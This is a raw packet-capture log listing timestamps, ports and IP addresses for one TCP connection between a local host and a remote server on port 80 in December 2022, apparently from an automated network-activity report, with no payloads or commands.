Dec 11, 2022 09:26:40.387773991 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.387777090 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.387815952 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.387856007 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.387859106 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.387900114 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.387949944 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.387985945 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.388006926 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.388051987 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.388097048 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.388175011 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.388233900 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.388241053 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.388319016 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.388375998 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.388439894 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.388487101 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.388533115 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.388652086 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.388767958 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.388817072 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.388864040 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.388961077 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.389013052 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.389056921 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.389173031 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.389214993 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.389219999 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.389256001 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.389296055 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.389300108 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.389349937 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.389377117 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.389398098 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.389420033 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.389460087 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.389481068 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.389501095 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.389542103 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.389548063 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.389584064 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.389625072 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.389630079 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.389666080 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.389705896 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.389719009 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.389753103 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.389775991 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.389801025 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.389823914 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.389868975 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.389884949 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.389950037 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.389998913 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.390022039 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.390073061 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.390126944 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.390137911 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.390201092 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.390249968 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.390275002 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.390341997 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.390391111 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.390407085 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.390469074 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.390516043 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.390533924 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.390598059 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.390645027 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.390661955 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.390708923 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.390748978 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.390768051 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.390789986 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.390832901 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.390834093 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.390894890 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.390940905 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.390955925 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.390981913 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.391022921 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.391030073 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.391063929 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.391108990 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.391112089 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.391149044 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.391190052 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.391196966 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.391235113 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.391261101 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.391294956 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.391314983 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.391326904 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.391369104 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.391370058 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.391411066 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.391422033 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.391452074 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.391493082 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.391514063 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.391534090 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.391578913 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.400573015 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.420340061 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.420407057 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.420449018 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.420485973 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.420490026 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.420531034 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.420542955 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.420572042 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.420614958 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.420629978 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.420658112 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.420701027 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.420722008 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.420825958 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.420869112 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.420881987 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.420909882 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.420949936 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.420960903 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.420989990 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421031952 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421044111 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.421072006 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421117067 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421124935 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.421156883 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421196938 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421206951 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.421237946 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421278000 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421289921 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.421319008 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421359062 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421374083 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.421399117 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421441078 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421452045 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.421482086 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421523094 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421531916 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.421562910 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421602011 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421618938 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.421643019 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421681881 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421693087 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.421722889 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421763897 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421772957 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.421802998 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421844006 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421852112 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.421885014 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421925068 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.421943903 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.421966076 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.422007084 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.422013998 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.422049046 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.422092915 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.422106028 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.422132969 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.422173977 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.422183037 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.428976059 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.429049015 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.429105043 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.429183006 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.429225922 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.429228067 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.429276943 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.429321051 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.429327965 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.429372072 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.429413080 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.429435015 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.429452896 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.429495096 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.429497957 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.429536104 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.429578066 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.429586887 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.443387032 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.450498104 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.450558901 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.450598955 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.450696945 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.450743914 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.450798988 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.450901031 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.450943947 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.450973988 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.451018095 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.451059103 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.451061964 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.451276064 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.451337099 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.451467037 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.451555967 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.451603889 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.451643944 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.451706886 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.451759100 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.451828003 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.451972961 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.452019930 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.452117920 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.452392101 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.452440977 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.452579021 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.452730894 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.452795029 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.452883959 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453069925 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453114986 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453124046 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.453155994 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453200102 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453210115 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.453241110 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453282118 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453284025 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.453324080 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453363895 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453372955 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.453416109 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453457117 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453469038 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.453496933 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453536987 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453556061 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.453577995 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453619957 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453624010 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.453660011 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453701019 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453702927 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.453742027 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453783035 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453794956 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.453823090 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453864098 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453869104 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.453905106 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453946114 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.453949928 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.453986883 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454035044 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454040051 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.454056978 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454101086 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454119921 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.454142094 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454181910 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454188108 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.454222918 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454263926 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454271078 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.454304934 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454344988 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454351902 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.454386950 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454427004 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454437017 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.454467058 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454513073 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454514980 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.454536915 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454579115 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454588890 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.454619884 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454659939 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454667091 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.454699993 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454741955 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454746008 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.454787016 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454813004 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454849958 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.454854012 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454896927 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.454936028 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.454986095 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455040932 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.455066919 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455074072 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455106974 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455149889 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.455152035 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455193043 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455199957 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.455234051 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455275059 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455285072 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.455317020 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455365896 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455369949 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.455406904 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455447912 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455468893 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.455487967 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455528975 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455540895 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.455569983 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455610037 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455616951 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.455650091 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455689907 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455708981 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.455734968 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455760002 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455790043 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.455801010 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455842018 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455847025 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.455882072 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455924034 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.455935955 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.455976009 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.456017017 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.456017971 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.456057072 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.456100941 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.456110954 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.456140995 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.456185102 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.456190109 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.456224918 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.456264019 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.456279039 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.456304073 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.456343889 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.456358910 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.456384897 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.456424952 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.456433058 CET	49738	80	192.168.2.3	193.23.244.244
